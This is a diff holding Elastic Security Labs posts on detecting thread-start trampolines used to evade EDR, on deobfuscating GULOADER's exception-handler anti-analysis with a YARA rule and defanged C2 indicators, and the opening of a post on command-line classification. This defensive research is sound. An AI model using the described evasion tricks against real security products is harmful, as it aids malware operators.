||||
However, this could also be a false positive if there is a “legitimate” hook or other modification.
|
||||
|
||||
In particular, many, many security products still hook ntdll.dll. This was an entirely legitimate technical approach back in 2007 when Vista was released: it allowed existing x86 features based on kernel syscall hooks to be quickly ported to the nascent x64 architecture using user mode syscall hooks instead. The validity of such approaches has been more questionable since Windows 10 was released in 2015. Around this time, x64 was cemented as the primary Windows architecture and we could firmly relegate the less secure x86 Windows to legacy status. The value proposition for user mode hooking was further reduced in 2017 when Windows 10 Creators Update [added additional kernel mode instrumentation](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection) to provide more robust detection approaches for malicious usage of certain abused syscalls.
|
||||
|
||||
For reference, our original Elastic Endgame product has features implemented using user mode hooks whereas our newer Elastic Endpoint has not yet determined a need to use a user mode hook at all in order to attain equal or better protection compared to Endgame. This means that Elastic Endgame must defend these hooks from tampering whereas Elastic Endpoint is currently invulnerable to the various so-called “universal EDR bypasses” that perform ntdll.dll unhooking.
|
||||
|
||||
Older security products aside, there are also many products that extend the functionality of other products via hooks– or perhaps unpack their code at runtime, etc. So, if that 4KB page is private, then security products need to additionally compare the start address bytes to an original pristine copy and alert if they differ.
|
||||
|
||||
And, to deploy at scale, they also need to maintain an allowlist for those rare legitimate uses.
|
||||
|
||||
### 2 - Shifting the trampoline mat
|
||||
|
||||
Technically the security product will only be able to see the bytes at the time of the thread notification callback which is slightly before the thread executes. Malware could create a [suspended](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread#parameters) thread, let the thread callback execute, and only then hook the start bytes before finally resuming the thread. Don’t worry though - effective security products can detect that inline too. But that’s a topic for another day.
|
||||
|
||||
This brings us to the second trampoline approach though: hijacking the execution flow before the entrypoint is ever called. Why obviously hook the thread entrypoint of our suspended thread when, with a little sleight of hand, we can usurp execution by modifying its instruction pointer directly (or an equivalent context manipulation) with [SetThreadContext()](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext), or by queuing an [“early bird” Asynchronous Procedure Call](https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/) (APC)?
|
||||
|
||||
The problem with creating the illusion of a legitimate entrypoint like this is that it doesn’t hold up to any kind of rigorous inspection.
|
||||
|
||||
In a normal thread, the user mode start address is typically the third function call in the thread’s stack – after ntdll!RtlUserThreadStart and kernel32!BaseThreadInitThunk. So when the thread has been hijacked, this is going to be obvious in the call stack.
|
||||
|
||||
For instruction pointer manipulation, the first frame will belong to the injected code.
|
||||
|
||||
For “early bird” APC injection, the base of the call stack will be ntdll!LdrInitializeThunk, ntdll!NtTestAlert, ntdll!KiUserApcDispatcher and then the injected code.
|
||||
|
||||
The updated script detects various anomalous call stack bases.
|
||||
|
||||
False positives are possible where legitimate software finds it necessary to modify Windows process or thread initialisation. For example, this was observed with the [MSYS2](https://www.msys2.org/) Linux environment. There is also an edge case where a function might have been generated with a [Tail Call Optimisation](https://en.wikipedia.org/wiki/Tail_call) (TCO), which eliminates unnecessary stack frames for performance. However, these cases can all be easily handled with a small exception list.
|
||||
|
||||
### 3 - If it walks like a trampoline, and it talks like a trampoline...
|
||||
|
||||
The third trampoline approach is to find a suitable gadget within image-backed memory so that no code modification is necessary. This is one of the approaches that Adam Chester employed in his blog.
|
||||
|
||||
Our earlier hook was 12 bytes and finding an exact 12-byte gadget is unlikely in practice.
|
||||
|
||||
However, on x64 Windows, functions use a four-register fast-call calling convention by default. So when the OS calls our gadget we will have control over the RCX register which will contain the parameter we passed into CreateThread().
|
||||
|
||||
The simplest x64 gadget is the two-byte JMP RCX instruction “ff e1” – which is fairly trivial to find.
|
||||
|
||||

|
||||
|
||||
Gadgets don’t even need to be instructions per se – they could be within operands or other data in the code section. For example, the above “ff e1” gadget in ntdll.dll was part of the relative address of a GUID.
|
||||
|
||||
We can detect this too- because it doesn’t work generically yet.
|
||||
|
||||
In all modern Windows software, thread start addresses are protected by Control Flow Guard (CFG) which has a bitmap of valid indirect call targets computed at compile time. In order to use this gadget, malware must either first disable CFG or call the [SetProcessValidCallTargets()](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-setprocessvalidcalltargets) function to ask the kernel to dynamically set the bit corresponding to this gadget in the CFG bitmap.
|
||||
|
||||
Just to be clear: this is not a CFG bypass. It is a CFG feature to support legitimate software doing weird things. Remember that CFG is an exploit protection– and being able to call SetProcessCallTargets() in order to call CreateThread() is a chicken and egg problem for exploit developers.
|
||||
|
||||
Like before, to save memory, the CFG bitmap pages for DLLs are also shared between processes. This time we can detect whether the start address’s CFG bitmap entry is on a sharable page or in a private working set- and alert if it is private.
|
||||
|
||||
Control Flow Guard is described in detail [elsewhere](https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf), but a high level CFG overview here is helpful to understanding our approach to detection. Each two bits in the CFG bitmap corresponds to 16 addresses. Two bits gives us four states. Specifically, in a pretty neat optimization by Microsoft, two states correspond only to the 16-byte aligned address (allowed, and export suppressed) and two states correspond to all 16 addresses (allowed and denied).
|
||||
|
||||
Modern CPUs fetch instructions in 16-byte lines so modern compilers typically align the vast majority of function entrypoints to 16-bytes. The vast majority of CFG entries only set a single address as a valid indirect call target, and very few entries will specify a whole block of 16 addresses as valid call targets. This means that the CFG bitmap can be an eighth of the size without any appreciable increase in the risk of valid gadgets due to an overly permissive bitmap.
|
||||
|
||||
However, if each two bits corresponds to 16 addresses, then a private 4K page of CFG bits corresponds to 256KB of code. That’s quite the false positive potential!
|
||||
|
||||
Therefore, we just have to hope that legitimate code never does this… nevermind. You should never hope that legitimate code won’t do obscure things. To date, we’ve identified three contemporary scenarios:
|
||||
|
||||
- The legacy Edge browser would [harden its javascript host process](https://web.archive.org/web/20161031134827/http://blog.trendmicro.com/trendlabs-security-intelligence/control-flow-guard-improvements-windows-10-anniversary-update/) by un-setting CFG bits for certain abusable functions
|
||||
- user32.dll appears to be too kind to legacy software – and will un-suppress export addresses if they are registered as call back functions
|
||||
- Some security products will drop a page of hook trampolines too close to legitimate modules and private executable memory always has private bitmap entries (Actually they’ll often drop this at a module’s preferred load address – which prevents the OS from sharing memory for that module)
|
||||
|
||||
So we need to rule out false positives by comparing against an expected CFG bitmap value. We could read this from the PE file on disk, but the x64 bitmap is already mapped into our process as part of the shared CFG bitmap.
|
||||
|
||||
The PowerShell script implementation we’ve released alerts on both cases: a modified CFG page and a start address with a non-original CFG value.
|
||||
|
||||
A very small number of CFG-compatible gadgets [might](https://i.blackhat.com/briefings/asia/2018/asia-18-Lain-Back-To-The-Epilogue-How-To-Evade-Windows-Control-Flow-Guard-With-Less-Than-16-Bytes.pdf) [exist](https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf) at a given point in time, but only in very specific DLLs that will likely appear anomalous in the surrogate process.
|
||||
|
||||
### 4 - It's literally already a trampoline
|
||||
|
||||
The third bypass category is to find an existing function that does exactly what we want, and there are many of these. For example, the one highlighted by Christopher Paschen is Microsoft’s C Runtime (CRT). This implementation of the C standard library works as an API layer that sits above Win32– and it includes thread creation APIs.
|
||||
|
||||
These APIs perform some extra CRT bookkeeping on thread creation/destruction by passing an internal CRT thread entrypoint to CreateThread() and by passing the user entrypoint to subsequently call as part of the structure pointed to by the CreateThread() parameter.
|
||||
|
||||
So, in this case, the Win32StartAddress observed will be the non-exported msvcrt!\_startthread(ex). The shellcode address will be at a specific offset from the thread parameter during thread creation (Microsoft CRT source is available), and the shellcode will be the next frame on the call stack after the CRT.
|
||||
|
||||
Note: without additional tricks this can only be used to create in-process threads and there is no CreateRemoteThread() equivalent. Those tricks exist, however, and you should not expect this module as a start address in remote threads.
|
||||
|
||||
Unfortunately, there is no operating system bookkeeping that will tell you if a thread was created remotely after the fact. Consequently, we can’t scan for this with our script– but the inline callbacks used by security products can make this distinction.
|
||||
|
||||
Currently, the script simply traverses the stack bottom-up and infers the first handful of frames by looking at candidate return addresses. This code could definitely be improved via disassembly or using unwind information, which are less rewarding to implement in PowerShell. The current approach is reliable enough for demonstration purposes:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
The updated script detects the original suspicious thread in addition to the four classes of bypass described in this research.
|
||||
|
||||
## Hunting suspicious thread creations
|
||||
|
||||
In addition to detections for the four known major classes of thread start address trampolines, the updated script also includes some additional heuristics. Some of these have medium false positive rates and are hidden behind an -Aggressive flag. However, they may still be useful in hunting scenarios.
|
||||
|
||||
 have structure- except when they don’t. There is no decompiler in PowerShell as far as we know – so we approximated with a byte pattern regular expression instead. Identifying code that doesn’t follow convention is useful but could easily exist in a compiler that we haven’t tested against.
|
||||
|
||||
Interestingly, we had to account for the “MZ” magic bytes that correspond to a [DOS Executable](https://en.wikipedia.org/wiki/DOS_MZ_executable) being a purportedly valid thread entrypoint. The Windows loader [ignores](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corexemain-function) the value of the AddressOfEntry field in the PE header for Common Language Runtime (CLR) executables such as .NET.
|
||||
|
||||
Instead, execution always starts in MsCorEE!\_CorExeMain() in the CLR Runtime which determines the actual process entrypoint from the CLR metadata. This makes sense as CLR assembly might only contain bytecode which needs to be JIT’d by the runtime before being called. However, the value of this field is still passed to CreateThread() and it is often zero- which results in the unexpected MZ entrypoint bytes.
|
||||
|
||||

|
||||
|
||||
The second heuristic examines the bytes immediately preceding the user entrypoint. This is usually a return, a jump, or a filler byte. Common filler bytes are zero, nop, and int 3. However, this is only a convention.
|
||||
|
||||
In particular, older compilers would regularly place data side by side with code- presumably to achieve performance through data locality. For example, we previously analysed the x64 binaries on Microsoft’s symbol server and noticed that this mixing of code and data was normal in Visual Studio 2012, was mostly remediated in VS2013, and appears to have been finally fixed in VS2015 Update 2.
|
||||
|
||||

|
||||
|
||||
The third heuristic is yet another compiler convention. As mentioned earlier, compilers like to output functions that maximize the instruction cache performance which typically use 16-byte fetches. But compilers appear to also like to save space– so they typically only ensure that the first basic block fits within the smallest number of 16-byte lines as opposed to strict 16-byte alignment. In other words, if a basic block is 20 bytes then it’ll always need at least two fetches, but we want to ensure that it doesn’t need three.
|
||||
|
||||

|
||||
|
||||
Many common Win32 modules have no valid thread entrypoints at all– so check for these.
|
||||
|
||||
This list is definitely non-exhaustive.
|
||||
|
||||
Kernel32.dll is a special case. LoadLibrary is not technically a valid thread entrypoint– but CreateRemoteThread(kernel32!LoadLibraryA, “signed.dll”) is actually how most security products would prefer software to do code injection into running processes when necessary. That is, the injected code is signed and loaded into read-only image-backed memory. To the best of our knowledge, we believe that this approach was first proposed by Jeffrey Richter in an article in the May 1994 edition of the Microsoft System Journal and later included in his [Advanced Windows](https://openlibrary.org/books/OL1120758M/Advanced_Windows) book. So treat LoadLibrary as suspicious- but not necessarily malicious.
|
||||
|
||||
 ntdll.dll is loaded everywhere so is often the first choice for a gadget or hook. There are only four valid ntdll entrypoints that we know of and the script explicitly checks for these.
|
||||
|
||||
Two of these functions aren’t exported, and rather than using P/Invoke to download the public symbols and find the offset in the PDB, the script dynamically queries the start addresses of its own threads for their start addresses to find these. PowerShell already uses worker threads, and the script starts a private ETW logger session to force a thread with the final address.
|
||||
|
||||
 Side-loaded DLLs remain a highly popular technique- and are still predominantly unsigned.
|
||||
|
||||

|
||||
|
||||
This one isn’t a thread start heuristic- but it was too simple not to include. Legitimate threads might impersonate SYSTEM briefly, but (lazy) malware authors (or operators) tend to escalate privileges initially and hold them indefinitely.
|
||||
|
||||
## Wrapping up
|
||||
|
||||
As flagged last time, nothing in security is a silver bullet. You should not expect 100% detection from suspicious thread creations alone.
|
||||
|
||||
For example, an adversary could modify their tools to simply not create any new threads, restricting their execution to hijacked threads only. The distinction is perhaps subtle, but Get-InjectedThreadEx only attempts to detect anomalous thread creation addresses – not the broader case of legitimate threads that were subsequently hijacked. This is why, in addition to imposing costs at thread creation, [Elastic Security](https://www.elastic.co/endpoint-security/) employs other defensive layers including [memory signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures), [behavioral detections](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo) and [defense evasion detections](https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack).
|
||||
|
||||
While it is somewhat easy to hijack a single thread after creation (ensuring that all your malware’s threads, including any third-party payloads, uses the right version of the right detection bypass for the installed security products), this is a maintenance cost for the adversary and mistakes will be made.
|
||||
|
||||
Let’s keep raising the bar. We’d love to hear about thread creation bypasses- and scalable detection approaches. We’re stronger together.
|
|
@ -0,0 +1,246 @@
|
|||
---
|
||||
title: "Getting gooey with GULOADER: deobfuscating the downloader"
|
||||
slug: "getting-gooey-with-guloader-downloader"
|
||||
date: "2023-12-06"
|
||||
description: "Elastic Security Labs walks through the updated GULOADER analysis countermeasures."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
image: "photo-edited-03@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- guloader
|
||||
- cloudeye
|
||||
- Vectored Exception handler
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Elastic Security Labs continues to monitor active threats such as GULOADER, also known as [CloudEyE](https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye) – an evasive shellcode downloader that has been highly active for years while under constant development. One of these recent changes is the addition of exceptions to its Vectored Exception Handler (VEH) in a fresh campaign, adding more complexity to its already long list of anti-analysis tricks.
|
||||
|
||||
While GULOADER’s core functionality hasn’t changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GULOADER a time-consuming and resource-intensive process. In this post, we will touch on the following topics when triaging GULOADER:
|
||||
|
||||
* Reviewing the initial shellcode and unpacking process
|
||||
* Finding the entrypoint of the decrypted shellcode
|
||||
* Discuss update to GULOADER’s VEH that obfuscates control flow
|
||||
* Provide a methodology to patch out VEH
|
||||
|
||||
## Initial Shellcode
|
||||
|
||||
In our [sample](https://www.virustotal.com/gui/file/6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99), GULOADER comes pre-packaged inside an NSIS (Nullsoft Scriptable Install System) installer. When the installer is extracted, the main components are:
|
||||
|
||||
* **NSIS Script** - This script file outlines all the various configuration and installation aspects.
|
||||
|
||||

|
||||
|
||||
|
||||
* **System.dll** - Located under the `$PLUGINSDir`. This file is dropped in a temporary folder to allocate/execute the GULOADER shellcode.
|
||||
|
||||

|
||||
|
||||
|
||||
* **Shellcode** - The encrypted shellcode is buried into a nested folder.
|
||||
|
||||
One quick methodology to pinpoint the file hosting the shellcode can be done by monitoring `ReadFile` events from SysInternal’s Process Monitor after executing GULOADER. In this case, we can see that the shellcode is read in from a file (`Fibroms.Hag`).
|
||||
|
||||

|
||||
|
||||
|
||||
GULOADER executes shellcode through callbacks using different Windows API functions. The main reasoning behind this is to avoid detections centered around traditional Windows APIs used for process injection, such as `CreateRemoteThread` or `WriteProcessMemory`. We have observed `EnumResourceTypesA` and `CallWindowProcW` used by GULOADER.
|
||||
|
||||

|
||||
|
||||
|
||||
By reviewing the MSDN documentation for [`EnumResourceTypesA`](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-enumresourcetypesa), we can see the second parameter expects a pointer to the callback function. From the screenshot above, we can see that the newly allocated shellcode is placed into this argument.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Finding Main Shellcode Entrypoint
|
||||
|
||||
In recent samples, GULOADER has increased the complexity at the start of the initial shellcode by including many different junk instructions and jumps. Reverse engineering of the downloader can require dealing with a long process of unwinding code obfuscation designed to break disassembly and control flow in some tooling, making it frustrating to find the actual start of the core GULOADER shellcode.
|
||||
|
||||
One methodology for finding the initial call can be leveraging graph view inside x64dbg and using a bottom-to-top approach to look for the `call eax` instruction.
|
||||
|
||||

|
||||
|
||||
|
||||
Another technique to trace the initial control flow involves leveraging the reversing engineering framework [Miasm](https://github.com/cea-sec/miasm)**.** Below is a quick example where we can pass in the shellcode and disassemble the instructions to follow the flow:
|
||||
|
||||
```
|
||||
from miasm.core.locationdb import LocationDB
|
||||
from miasm.analysis.binary import Container
|
||||
from miasm.analysis.machine import Machine
|
||||
|
||||
with open("proctoring_06BF0000.bin", "rb") as f:
|
||||
code = f.read()
|
||||
|
||||
loc_db = LocationDB()
|
||||
c = Container.from_string(code, loc_db)
|
||||
|
||||
machine = Machine('x86_32')
|
||||
mdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)
|
||||
mdis.follow_call = True
|
||||
mdis.dontdis_retcall = True
|
||||
asm_cfg = mdis.dis_multiblock(offset=0x1400)
|
||||
```
|
||||
|
||||
Miasm cuts through the 142 `jmp` instructions and navigates through the junk instructions where we have configured it to stop on the call instruction to EAX (address: `0x3bde`).
|
||||
|
||||
```
|
||||
JMP loc_3afd
|
||||
-> c_to:loc_3afd
|
||||
loc_3afd
|
||||
MOV EBX, EAX
|
||||
FADDP ST(3), ST
|
||||
PANDN XMM7, XMM2
|
||||
JMP loc_3b3e
|
||||
-> c_to:loc_3b3e
|
||||
loc_3b3e
|
||||
SHL CL, 0x0
|
||||
PSRAW MM1, MM0
|
||||
PSRLD XMM1, 0xF1
|
||||
JMP loc_3b97
|
||||
-> c_to:loc_3b97
|
||||
loc_3b97
|
||||
CMP DL, 0x3A
|
||||
PADDW XMM3, XMM5
|
||||
PXOR MM3, MM3
|
||||
JMP loc_3bde
|
||||
-> c_to:loc_3bde
|
||||
loc_3bde
|
||||
CALL EAX
|
||||
```
|
||||
*Tail end of Miasm*
|
||||
|
||||
## GULOADER’s VEH Update
|
||||
|
||||
One of GULOADER’s hallmark techniques is centered around its [Vectored Exception Handling](https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling) (VEH) capability. This feature gives Windows applications the ability to intercept and handle exceptions before they are routed through the standard exception process. Malware families and software protection applications use this technique to make it challenging for analysts and tooling to follow the malicious code.
|
||||
|
||||
GULOADER starts this process by adding the VEH using `RtlAddVectoredExceptionHandler`. Throughout the execution of the GULOADER shellcode, there is code purposely placed to trigger these different exceptions. When these exceptions are triggered, the VEH will check for hardware breakpoints. If not found, GULOADER will modify the EIP directly through the [CONTEXT structure](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context) using a one-byte XOR key (changes per sample) with a one-byte offset from where the exception occurred. We will review a specific example of this technique in the subsequent section. Below is the decompilation of our sample’s VEH:
|
||||
|
||||

|
||||
|
||||
|
||||
Although this technique is not new, GULOADER continues to add new exceptions over time; we have recently observed these two exceptions added in the last few months:
|
||||
|
||||
* `EXCEPTION_PRIV_INSTRUCTION`
|
||||
* `EXCEPTION_ILLEGAL_INSTRUCTION`
|
||||
|
||||
As new exceptions get added to GULOADER, it can end up breaking tooling used to expedite the analysis process for researchers.
|
||||
|
||||
### EXCEPTION_PRIV_INSTRUCTION
|
||||
|
||||
Let’s walk through the two recently added exceptions to follow the VEH workflow. The first exception (`EXCEPTION_PRIV_INSTRUCTION`), occurs when an attempt is made to execute a privileged instruction in a processor’s instruction set at a privilege level where it’s not allowed. Certain instructions, like the example below with [WRSMR](https://www.felixcloutier.com/x86/wrmsr) expect privileges from the kernel level, so when the program is run from user mode, it will trigger the exception due to incorrect permissions.
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### EXCEPTION_ILLEGAL_INSTRUCTION
|
||||
|
||||
This exception is invoked when a program attempts to execute an invalid or undefined CPU instruction. In our sample, when we run into Intel virtualization instructions such as `vmclear` or `vmxon`, this will trigger an exception.
|
||||
|
||||

|
||||
|
||||
|
||||
Once an exception occurs, the GULOADER VEH code will first determine which exception code was responsible for the exception. In our sample, if the exception matches any of the five below, the code will take the same path regardless.
|
||||
|
||||
* `EXCEPTION_ACCESS_VIOLATION`
|
||||
* `EXCEPTION_ILLEGAL_INSTRUCTION`
|
||||
* `EXCEPTION_PRIV_INSTRUCTION`
|
||||
* `EXCEPTION_SINGLE_STEP`
|
||||
* `EXCEPTION_BREAKPOINT`
|
||||
|
||||
GULOADER will then check for any hardware breakpoints by walking the CONTEXT record found inside the **[EXCEPTION_POINTERS](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_pointers)** structure. If hardware breakpoints are found in the different debug registers, GULOADER will return a `0` into the CONTEXT record, which will end up causing the shellcode to crash.
|
||||
|
||||

|
||||
|
||||
|
||||
If there are no hardware breakpoints, GULOADER will retrieve a single byte which is 7 bytes away from the address that caused the exception. When using the last example with `vmclear`, it would retrieve byte (`0x8A`).
|
||||
|
||||

|
||||
|
||||
|
||||
Then, using that byte, it will perform an XOR operation with a different hard-coded byte. In our case (`0xB8`), this is unique per sample. Now, with a derived offset `0x32` (`0xB8 ^ 0x8A`), GULOADER will modify the EIP address directly from the CONTEXT record by adding `0x32` to the previous address (`0x7697630`) that caused the exception resulting in the next code to execute from address (`0x7697662`).
|
||||
|
||||

|
||||
|
||||
|
||||
With different junk instructions in between, and repeatedly hitting exceptions (we counted 229 unique exceptions in our sample), it’s not hard to see why this can break different tooling and increase analyst time.
|
||||
|
||||
## Control Flow Cleaning
|
||||
|
||||
To make following the control flow easier, an analyst can bypass the VEH by tracing the execution, logging the exceptions, and patching the shellcode using the previously discussed EIP modification algorithm. For this procedure, we leveraged [TinyTracer](https://github.com/hasherezade/tiny_tracer), a tool written by [@hasherezade](https://twitter.com/hasherezade) that leverages [Pin](https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-dynamic-binary-instrumentation-tool.html), a dynamic binary instrumentation framework. This will allow us to catch the different addresses that triggered the exception, so using the example above with `vmclear`, we can see the address was `0x7697630`, generated an exception calling `KiUserExceptionDispatcher`, a function responsible for handling user-mode exceptions.
|
||||
|
||||
Once all the exceptions are collected and filtered, these can be passed into an IDAPython script where we walk through each address, calculate the offset using the 7th byte over and XOR key (`0xB8`), then patch out all the instructions generating exceptions with short jumps.
|
||||
|
||||
The following image is an example of patching instructions that trigger exceptions at addresses `0x07697630` and `0x0769766C`.
|
||||
|
||||

|
||||
|
||||
|
||||
Below is a graphic representing the control flow graph before the patching is applied globally. Our basic block with the `vmclear` instruction is highlighted in orange. By implementing the VEH, GULOADER flattens the control flow graph, making it harder to trace the program logic.
|
||||
|
||||

|
||||
|
||||
|
||||
After patching the VEH with `jmp` instructions, this transforms the basic blocks by connecting them together, reducing the complexity behind the flow of the shellcode.
|
||||
|
||||

|
||||
|
||||
|
||||
Using this technique can accelerate the cleaning process, yet it’s important to note that it isn’t a bulletproof method. In this instance, there still ends up being a good amount of code/functionality that will still need to be analyzed, but this definitely goes a long way in simplifying the code by removing the VEH. The full POC script is located [here](https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py).
|
||||
|
||||
## Conclusion
|
||||
|
||||
GULOADER has many different features that can break disassembly, hinder control flow, and make analysis difficult for researchers. Despite this and the process being imperfect, we can counter these traits through different static or dynamic processes to help reduce the analysis time. For example, we observed that with new exceptions in the VEH, we can still trace through them and patch the shellcode. This process will set the analyst on the right path, closer to accessing the core functionality with GULOADER.
|
||||
|
||||
By sharing some of our workflow, we hope to provide multiple takeaways if you encounter GULOADER in the wild. Based on GULOADER’s changes, it's highly likely that future behaviors will require new and different strategies. For detecting GULOADER, the following section includes YARA rules, and the IDAPython script from this post can be found [here](https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py). For new updates on the latest threat research, check out our [malware analysis section](https://www.elastic.co/security-labs/topics/malware-analysis) by the Elastic Security Labs team.
|
||||
|
||||
## YARA
|
||||
|
||||
Elastic Security has created different YARA [rules](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Guloader.yar) to identify this activity. Below is an example of one YARA rule to identify GULOADER.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Guloader {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-10-30"
|
||||
last_modified = "2023-11-02"
|
||||
reference_sample = "6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99"
|
||||
severity = 100
|
||||
arch = "x86"
|
||||
threat_name = "Windows.Trojan.Guloader"
|
||||
license = "Elastic License v2"
|
||||
os = "windows"
|
||||
strings:
|
||||
$djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }
|
||||
$check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }
|
||||
$parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }
|
||||
$hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }
|
||||
$scan_protection = { 39 ?? 14 8B [5] 0F 84 }
|
||||
condition:
|
||||
2 of them
|
||||
}
|
||||
```
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/guloader) in both ECS and STIX format.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|------------------------------------------------------------------|-----------|-------------------------|--------------------------|
|
||||
| 6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99 | SHA-256 | Windows.Trojan.Guloader | GULOADER downloader |
|
||||
| 101.99.75[.]183/MfoGYZkxZIl205.bin | url | NA | GULOADER C2 URL |
|
||||
| 101.99.75[.]183 | ipv4-addr | NA | GULOADER C2 IP |
|
||||
|
||||
## References
|
||||
|
||||
* [https://github.com/elastic/labs-releases/tree/main/tools/guloader](https://github.com/elastic/labs-releases/tree/main/tools/guloader)
|
||||
* [https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye](https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye)
|
|
@ -0,0 +1,133 @@
|
|||
---
|
||||
title: "Getting the Most Out of Transformers in Elastic"
|
||||
slug: "getting-the-most-out-of-transforms-in-elastic"
|
||||
date: "2022-08-23"
|
||||
description: "In this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task."
|
||||
author:
|
||||
- slug: apoorva-joshi
|
||||
- slug: thomas-veasey
|
||||
- slug: benjamin-trent
|
||||
image: "machine-learning-1200x628px-2021-notext.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
tags:
|
||||
- machine learning
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
In 8.3, our Elastic Stack Machine Learning team introduced a way to import [third party Natural Language Processing (NLP) models](https://www.elastic.co/guide/en/machine-learning/master/ml-nlp-model-ref.html) into Elastic. As security researchers, we HAD to try it out on a security dataset. So we decided to build a model to identify malicious command lines by fine-tuning a pre-existing model available on the [Hugging Face model hub](https://huggingface.co/models).
|
||||
|
||||
Upon finding that the fine-tuned model was performing (surprisingly!) well, we wanted to see if it could replace or be combined with our previous [tree-based model](https://www.elastic.co/blog/problemchild-detecting-living-off-the-land-attacks) for detecting Living off the Land (LotL) attacks. But first, we had to make sure that the throughput and latency of this new model were reasonable enough for real-time inference. This resulted in a series of experiments, the results of which we will detail in this blog.
|
||||
|
||||
In this blog, we will briefly talk about how we fine-tuned a transformer model meant for a masked language modeling (MLM) task, to make it suitable for a classification task. We will also look at how to import custom models into Elastic. Finally, we’ll dive into all the experiments we did around using the fine-tuned model for real-time inference.
|
||||
|
||||
## NLP for command line classification
|
||||
|
||||
Before you start building NLP models, it is important to understand whether an [NLP](https://www.ibm.com/cloud/learn/natural-language-processing) model is even suitable for the task at hand. In our case, we wanted to classify command lines as being malicious or benign. Command lines are a set of commands provided by a user via the computer terminal. An example command line is as follows:
|
||||
|
||||
```
|
||||
**move test.txt C:\**
|
||||
```
|
||||
|
||||
The above command moves the file **test.txt** to the root of the \*\*C:\*\* directory.
|
||||
|
||||
Arguments in command lines are related in the way that the co-occurrence of certain values can be indicative of malicious activity. NLP models are worth exploring here since these models are designed to understand and interpret relationships in natural (human) language, and since command lines often use some natural language.
|
||||
|
||||
## Fine-tuning a Hugging Face model
|
||||
|
||||
Hugging Face is a data science platform that provides tools for machine learning (ML) enthusiasts to build, train, and deploy ML models using open source code and technologies. Its model hub has a wealth of models, trained for a variety of NLP tasks. You can either use these pre-trained models as-is to make predictions on your data, or fine-tune the models on datasets specific to your [NLP](https://www.ibm.com/cloud/learn/natural-language-processing) tasks.
|
||||
|
||||
The first step in fine-tuning is to instantiate a model with the model configuration and pre-trained weights of a specific model. Random weights are assigned to any task-specific layers that might not be present in the base model. Once initialized, the model can be trained to learn the weights of the task-specific layers, thus fine-tuning it for your task. Hugging Face has a method called [from_pretrained](https://huggingface.co/docs/transformers/v4.21.1/en/main_classes/model#transformers.PreTrainedModel.from_pretrained) that allows you to instantiate a model from a pre-trained model configuration.
|
||||
|
||||
For our command line classification model, we created a [RoBERTa](https://huggingface.co/docs/transformers/model_doc/roberta) model instance with encoder weights copied from the [roberta-base](https://huggingface.co/roberta-base) model, and a randomly initialized sequence classification head on top of the encoder:
|
||||
|
||||
**model = RobertaForSequenceClassification.from_pretrained('roberta-base', num_labels=2)**
|
||||
|
||||
